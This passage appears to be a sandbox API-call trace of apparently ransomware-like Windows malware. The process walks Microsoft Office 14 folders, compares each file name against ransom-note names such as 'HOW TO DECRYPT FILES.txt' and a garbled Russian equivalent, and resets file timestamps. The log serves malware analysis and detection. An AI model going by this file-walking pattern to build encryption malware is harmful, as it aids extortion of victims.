PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned="MUAUTH.CAB" [0058.360] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.360] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.360] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x161d5800, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xd63a22c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x161d5800, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x38d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oarpmany.exe", cAlternateFileName="")) returned 1 [0058.360] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.360] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Oarpmany.exe") returned -1 [0058.360] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Oarpmany.exe") returned -1 [0058.360] lstrcmpiA (lpString1="", lpString2="Oarpmany.exe") returned -1 [0058.360] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned="MUOPTIN.DLL" [0058.360] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.360] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.360] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f9d2900, ftCreationTime.dwHighDateTime=0x1cab9ac, ftLastAccessTime.dwLowDateTime=0xbe0f9da0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7f9d2900, ftLastWriteTime.dwHighDateTime=0x1cab9ac, nFileSizeHigh=0x0, nFileSizeLow=0x7568, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODBCMON.DLL", cAlternateFileName="")) returned 1 [0058.361] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.361] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ODBCMON.DLL") returned -1 [0058.361] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ODBCMON.DLL") returned -1 [0058.361] lstrcmpiA (lpString1="", lpString2="ODBCMON.DLL") returned -1 [0058.361] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned="Oarpmany.exe" [0058.361] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.361] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.361] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 1 [0058.361] lstrcmpA (lpString1=".", lpString2="Office Setup Controller") returned -1 [0058.361] lstrcmpA (lpString1="..", lpString2="Office Setup Controller") returned -1 [0058.361] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned="ODBCMON.DLL" [0058.361] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4f81f8, cFileName=".", cAlternateFileName="")) returned 0x4f8208 [0058.364] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.364] FindNextFileA (in: hFindFile=0x4f8208, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.365] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.365] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.365] FindNextFileA (in: hFindFile=0x4f8208, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1 [0058.365] lstrcmpA (lpString1=".", lpString2="Access.en-us") returned -1 [0058.365] lstrcmpA (lpString1="..", lpString2="Access.en-us") returned -1 [0058.365] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*") returned="*.*" [0058.365] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fb4e8, dwReserved1=0x4fb4e3, cFileName=".", cAlternateFileName="")) returned 0x4f8158 [0058.369] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.369] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.369] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.369] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.369] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa5fe940, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x15419830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AccessMUI.XML", cAlternateFileName="ACCESS~1.XML")) returned 1 [0058.369] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.369] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AccessMUI.XML") returned 1 [0058.369] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AccessMUI.XML") returned 1 [0058.369] lstrcmpiA (lpString1="", lpString2="AccessMUI.XML") returned -1 [0058.369] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*.*") returned="*.*" [0058.369] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\" [0058.369] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\") returned="" [0058.371] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.371] CloseHandle (hObject=0x94) returned 1 [0058.371] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x4f8568, cFileName="AccessMUISet.XML", cAlternateFileName="ACCESS~2.XML")) returned 1 [0058.371] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.371] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AccessMUISet.XML") returned 1 [0058.371] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AccessMUISet.XML") returned 1 [0058.371] lstrcmpiA (lpString1="", lpString2="AccessMUISet.XML") returned -1 [0058.371] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned="AccessMUI.XML" [0058.371] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\" [0058.371] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\") returned="" [0058.372] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x730073, dwReserved1=0x65002e, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0058.372] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.372] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SETUP.XML") returned -1 [0058.372] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SETUP.XML") returned -1 [0058.372] lstrcmpiA (lpString1="", lpString2="SETUP.XML") returned -1 [0058.372] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned="AccessMUISet.XML" [0058.372] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\" [0058.372] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\") returned="" [0058.372] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x730073, dwReserved1=0x65002e, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0058.372] FindClose (in: hFindFile=0x4f8158 | out: hFindFile=0x4f8158) returned 1 [0058.372] FindNextFileA (in: hFindFile=0x4f8208, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Excel.en-us", cAlternateFileName="EXCEL~1.EN-")) returned 1 [0058.372] lstrcmpA (lpString1=".", lpString2="Excel.en-us") returned -1 [0058.372] lstrcmpA (lpString1="..", lpString2="Excel.en-us") returned -1 [0058.372] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*") returned="*.*" [0058.373] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x730073, dwReserved1=0x65002e, cFileName=".", cAlternateFileName="")) returned 0x4f8158 [0058.373] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.374] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x650000, cFileName="..", cAlternateFileName="")) returned 1 [0058.374] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.374] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.374] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ExcelMUI.XML", cAlternateFileName="")) returned 1 [0058.374] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.374] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ExcelMUI.XML") returned -1 [0058.374] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ExcelMUI.XML") returned 1 [0058.374] lstrcmpiA (lpString1="", lpString2="ExcelMUI.XML") returned -1 [0058.374] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*.*") returned="*.*" [0058.374] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\" [0058.374] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\") returned="" [0058.377] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.377] CloseHandle (hObject=0x94) returned 1 [0058.377] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x4f8568, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0058.377] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.377] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SETUP.XML") returned -1 [0058.377] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SETUP.XML") returned -1 [0058.377] lstrcmpiA (lpString1="", lpString2="SETUP.XML") returned -1 [0058.377] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned="ExcelMUI.XML" [0058.377] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\" [0058.377] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\") returned="" [0058.378] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x4f8568, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0058.378] FindClose (in: hFindFile=0x4f8158 | out: hFindFile=0x4f8158) returned 1 [0058.378] FindNextFileA (in: hFindFile=0x4f8208, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Groove.en-us", cAlternateFileName="GROOVE~1.EN-")) returned 1 [0058.378] lstrcmpA (lpString1=".", lpString2="Groove.en-us") returned -1 [0058.378] lstrcmpA (lpString1="..", lpString2="Groove.en-us") returned -1 [0058.378] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*") returned="*.*" [0058.378] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e006c, dwReserved1=0x6e0065, cFileName=".", cAlternateFileName="")) returned 0x4f8158 [0058.382] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.382] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x6e0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.383] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.383] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.383] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="GrooveMUI.XML", cAlternateFileName="GROOVE~1.XML")) returned 1 [0058.383] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.383] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="GrooveMUI.XML") returned -1 [0058.383] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="GrooveMUI.XML") returned 1 [0058.383] lstrcmpiA (lpString1="", lpString2="GrooveMUI.XML") returned -1 [0058.383] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*.*") returned="*.*" [0058.383] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\" [0058.383] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\") returned="" [0058.386] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.386] CloseHandle (hObject=0x94) returned 1 [0058.387] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x4f8568, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0058.387] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.387] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SETUP.XML") returned -1 [0058.387] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", 